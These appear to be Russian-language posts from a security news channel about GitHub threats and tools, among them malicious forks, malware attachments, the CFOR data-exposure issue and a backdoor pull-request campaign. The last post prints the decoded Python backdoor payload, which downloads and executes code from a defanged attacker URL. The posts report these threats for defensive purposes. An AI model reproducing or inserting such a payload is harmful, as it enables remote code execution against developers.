🛡️ Борьба с вредоносными форками: угрозы в репозиториях 🛡️

Крупные платформы разработки программного обеспечения (такие, как Github) активно борются с появлением множественных копий репозиториев, что может свидетельствовать о подозрительной активности. Недавние исследования показали, что системы автоматического обнаружения успешно блокируют сотни тысяч подозрительных форков, помогая избежать утечки конфиденциальных данных и распространения вредоносного кода.

Однако, несмотря на значительные усилия в области безопасности, около 1% заражённых форков всё равно остаётся на платформе, представляя потенциальную угрозу для разработчиков и компаний. Поэтому важно, чтобы пользователи регулярно проверяли репозитории, с которыми они взаимодействуют.

Особенно внимательным стоит быть компаниям, учитывая возможность перетаскивания вредоносного кода в цепочку поставок собственного программного обеспечения. Уделяйте особое внимание безопасности вашего кода и действуйте проактивно, чтобы защитить себя от потенциальных киберугроз. Stay secure and read SecureTechTalks 🚀💻✅

#SecureTechTalks #GitHub

🔒 GitHub тестирует систему Code Scanning Autofix для обнаружения и исправления уязвимостей в коде 😊

GitHub внедряет новую систему Code Scanning Autofix, которая сканирует код на наличие уязвимостей и предлагает автоматические исправления. В настоящее время поддерживается проверка кода на JavaSript, Python, TypeScript и Java. 🛠️

Система основана на CodeQL и GitHub Copilot. Code Scanning Autofix выявляет ошибки, объясняет их на понятном языке и предлагает исправления. Разработчик может принять предложенные изменения или внести правки самостоятельно. При необходимости система может вносить правки в несколько файлов сразу. 💻

В настоящее время инструмент доступен в тестовом режиме для клиентов GitHub Advanced Security. Он существенно ускоряет поиск уязвимостей и ошибок в коде, а также добавляет дополнительный слой безопасности. Разработчики могут проверять код сначала в своих средах разработки (IDE), а затем ещё раз сканировать его в GitHub. 🚀

В планах компании в ближайшем будущем добавить поддержку Go и C#. Постепенно доступ к новой функциональности будет расширен и для клиентов других тарифных планов. 📈

#GitHub
#CodeScanning
#SecureTechTalks

🛡 GitHub обсуждает изменения правил для ИИ проектов

GitHub запустил обсуждение изменения правил площадки, в рамках которых предлагается запретить размещение проектов, связанных с мошенническим или неэтичным использованием искусственного интеллекта. Планируется запретить проекты по созданию дипфейков 18+ и моделей направленных дезинформацию. На текущий момент обновлённая политика находится в стадии черновика и доступна для обсуждения в течение 30 дней (до 20 мая 2024 года).

🚫 Запрет на размещение неэтичных проектов

В условия использования GitHub внесен новый абзац, запрещающий размещение проектов, предназначенных для создания и манипулирования мультимедийным контентом с целью генерации интимных изображений без согласия (NCII) и контента, способного вводить в заблуждение или распространять дезинформацию. Запрет также распространяется на проекты, которые поощряют, продвигают и поддерживают такие системы.

🔍 Причины введения запрета

По информации OpenNET, причиной обновления политики стали многочисленные попытки мошенничества с использованием LLM, включая создание дипфейков и организацию спам-кампаний.

🤖 Лояльное отношение к проектам

Представители GitHub планируют вручную рассматривать проекты двойного назначения и оставаться лояльными к инструментам, напрямую не нацеленым на мошеннические схемы. Stay secure and read SecureTechTalks 📚

#GitHub #правила #ИИ #дипфейки

🛡️ Очередная угроза GitHub: новый способ распространения вредоносного ПО

🔒 GitHub подтвердил, что злоумышленники используют лазейку в платформе для распространения вредоносного ПО через URL-адреса, связанные с репозиторием Microsoft. Этот метод может применяться к любому открытому репозиторию на GitHub.

😱 Ранее McAfee обнаружил новый загрузчик вредоносного ПО LUA, который распространялся через официальный репозиторий Microsoft GitHub для менеджера библиотек C++ - vcpkg, предназначенного для Windows, Linux и MacOS. Исследователи привели примеры URL-адресов установщиков вредоносного ПО, которые отсутствуют в исходном коде проекта.

🔍 Портал BleepingComputer отметил, что файлы не были частью vcpkg и загружались как часть комментариев к коммитам или описаниям проблем в проекте.

🔗 Пользователи GitHub могут прикрепить файл к комментарию, который будет загружен на CDN GitHub и связан с проектом, используя уникальный URL-адрес. GitHub автоматически генерирует ссылку для скачивания после публикации комментария, что позволяет злоумышленникам прикреплять вредоносное ПО к любому репозиторию без ведома владельцев.

😈 Например, злоумышленник может загрузить вредоносный исполняемый файл в репозиторий драйверов Nvidia и представить его как обновление драйвера. Даже если владелец репозитория обнаружит вредоносное ПО, у него нет инструментов для удаления этих файлов. Компании могут временно отключить комментарии, но эта мера может сильно повлиять на развитие проекта.

🚫 BleepingComputer также обнаружил еще один репозиторий, httprouter, который использовался для распространения вредоносного ПО таким же способом. Stay secure and read SecureTechTalks 📚

#GitHub #злоумышленники #SecureTechTalks 🔐

🛡 LLM Guard: Toolkit с открытым исходным кодом для обеспечения безопасности Больших Языковых Моделей

LLM Guard - это набор инструментов, разработанных для повышения безопасности Больших Языковых Моделей (LLM). Он легко интегрируется и внедряется в производственные среды.

🔍 Решение предоставляет обширные возможности оценки входных и выходных данных LLM, обеспечивает обнаружение вредоносного кода, препятствует утечкам данных, а также реализует защиту от внедрения промптов и атак jailbreak.

🚀 LLM Guard разработан с целью упростить внедрение языковых моделей для компаний, снизив риски кибербезопасности, и предлагая все необходимые инструменты защиты прямо из коробки.

💻 Toolkit доступен на GitHub.

🗯 Независимо от того, используете ли вы ChatGPT, Claude, Bard или любую другую базовую модель, теперь вы точно сможете защитить свои LLM. Stay secure and read SecureTechTalks 📚

#ИскусственныйИнтеллект  #GitHub #LLMGuard

🔍 Искуственный интеллект на службе кибербезопасности: Awesome-AI-for-Cybersecurity

❗️Сегодня мы расскажем о проекте Awesome-AI-for-Cybersecurity, который представляет собой коллекцию лучших ресурсов по применению искусственного интеллекта в кибербезопасности. Этот репозиторий на GitHub включает:

- Инструменты и библиотеки: Список популярных AI-инструментов, применимых в кибербезопасности.
- Исследовательские статьи: Ссылки на ключевые научные публикации и исследования.
- Проекты и фреймворки: Примеры реальных проектов и фреймворков, использующих AI для защиты данных.
- Обучающие материалы: Книги, курсы и другие ресурсы для обучения AI в контексте кибербезопасности.

🔧 Примеры:
- Machine Learning for Cybersecurity: Инструменты для машинного обучения, помогающие в обнаружении угроз и анализе данных.
- Natural Language Processing (NLP): Технологии для анализа текстовых данных и выявления аномалий в логах и сообщениях.

Подробнее: GitHub

Stay secure and read SecureTechTalks 📚

#Кибербезопасность #AI #MachineLearning #GitHub #Инструменты

😳 CFOR: Уязвимость GitHub

🛡 GitHub — популярная платформа для управления кодом, но не все задумываются о том, как она хранит данные. Одним из рисков является уязвимость CFOR (Cross Fork Object Reference), которая позволяет получить доступ к данным, которые должны быть скрыты или удалены.

🔍 Что такое CFOR? Это возможность получить доступ к данным из одного форка репозитория через другой, даже если исходный форк был удалён или является приватным. Похожая на IDOR (Insecure Direct Object Reference) уязвимость, позволяет злоумышленникам использовать хэши коммитов для доступа к данным.

📂 Три сценария уязвимости CFOR:
1. Доступ к данным из удалённых форков: Даже после удаления форка коммиты остаются доступными через исходный репозиторий при наличии хэша коммита.
2. Доступ к данным из удалённых репозиториев: При удалении репозитория, данные остаются доступными через существующие форки.
3. Доступ к данным из приватных репозиториев: При публикации приватного репозитория его данные могут остаться доступными в публичной версии, несмотря на приватные форки.

❓ Почему это возможно? GitHub хранит данные в сети репозиториев, где удаление репозитория или форка не приводит к физическому удалению данных, а лишь удаляет ссылки на них в интерфейсе. Таким образом, зная хэш коммита, можно получить прямой доступ к этим данным.

🔍 Как ищут хэши коммитов?
- Брутфорс: GitHub использует короткие SHA-1 хэши, которые можно подобрать.
- API событий: Публичный API GitHub может содержать хэши коммитов.
- Архивы событий: Сторонние сервисы архивируют события GitHub, где могут быть хэши.

💡Данные, закоммиченные в публичный репозиторий, могут остаться доступными навсегда. Надёжный способ защиты — регулярная ротация ключей.

Stay secure and read SecureTechTalks 📚

#GitHub #Кибербезопасность #SecureTechTalks #CFOR #IDOR #ИнформационнаяБезопасность

🛡️ Минцифры готовит новые правила для российских аналогов GitHub 🛡️

11 октября 2024 года стало известно, что Минцифры разрабатывает единые требования по безопасности для отечественных хранилищ исходного кода, таких как российские аналоги GitHub. Ведомство решило отказаться от идеи создания единого национального репозитория открытого кода.

💡 Что планируется?
Вместо единого репозитория, Минцифры готовит документ, который определит стандарты для всех российских хранилищ кода. Об этом сообщил Илья Массух, директор Центра компетенций по импортозамещению в сфере ИКТ. В документе будут включены единые требования по кибербезопасности для всех отечественных репозиториев.

🔍 Новая концепция
Согласно Минцифры, совместно с другими организациями ведётся работа над созданием экосистемы хранилищ, находящихся под юрисдикцией РФ. Главной задачей станет обеспечение безопасности данных и защиты от кибератак.

👥 Мнение экспертов
Алексей Смирнов, глава совета директоров "Базальт СПО", считает, что единый российский репозиторий свободного ПО был бы лишён смысла, так как уже существует множество частных хранилищ. Он предложил идею создания "репозитория репозиториев", который объединит существующие платформы.

Николай Сокорнов, директор департамента разработки ПО компании «Рексофт», поддерживает решение отказаться от единого репозитория, отметив, что распределённые системы хранения более надёжны с точки зрения безопасности.

Stay secure and read SecureTechTalks 📚

#кибербезопасность #SecureTechTalks #Минцифры #Россия #репозиторий #GitHub #информационнаябезопасность

⚠️ GitHub атакован: вредоносные коммиты с бэкдорами

👾 Проекты на GitHub подверглись серии атак с использованием вредоносных коммитов и пул-реквестов, цель которых — внедрение бэкдоров в открытые репозитории.

🚨 Первой жертвой стал стартап Exo Labs, занимающийся искусственным интеллектом и машинным обучением. Соучредитель компании, Алекс Чима, обнаружил подозрительное изменение в репозитории EXO. Оно включало невинно выглядящий пул-реквест под названием «уточнение требования mlx для моделей deepseek», пытавшийся модифицировать файл models.py, добавляя в код последовательность Unicode-чисел.

🧩 Механика

🔢 Последовательность Unicode-чисел, например 105, 109, 112, 111, 114, 116..., преобразуется в Python-код:

import os 
import urllib 
import urllib.request 

x = urllib.request.urlopen("hxxps://www.evildojo[.]com/stage1payload") 
y = x.read() 
z = y.decode("utf8") 
x.close() 
os.system(z)

💡 Код устанавливает связь с указанным URL и пытается загрузить вредоносное ПО. Если бы изменение было объединено с репозиторием, злоумышленники могли бы получить удалённый доступ через внедрённый бэкдор.

🔍 Расследование атак

👤 Коммит был отправлен с учётной записи GitHub evildojo666, которая вскоре была удалена. Архивная страница указывала на Майка Белла, исследователя безопасности, однако он заявил, что не имеет отношения к атакам. Злоумышленники, вероятно, использовали его имя и фото профиля.

🔗 Аналогичные попытки атак обнаружены от учётной записи darkimage666. Malcoreio, платформа анализа вредоносных программ, зафиксировала 18 идентичных запросов на другие проекты. Под ударом оказался популярный загрузчик видео и аудио с открытым исходным кодом yt-dlp.

🛡️ Рекомендации для защиты

1. Автоматизированные проверки: Используйте инструменты для анализа безопасности, такие как AI Reviewer Presubmit, для мгновенной проверки коммитов.
2. Ручная проверка: Внимательно анализируйте пул-реквесты, особенно от неизвестных пользователей.
3. Защита репозиториев: Ограничьте доступ для коммитов и настройте уведомления об изменениях в репозиториях.

🔗 Этот инцидент напомнил о ранее известных атаках на цепочку поставок, таких как xz, где злоумышленники встраивали вредоносный код в популярные библиотеки с открытым исходным кодом.

Stay secure and read SecureTechTalks 📚

#GitHub #Киберугрозы #ОткрытыйКод #Безопасность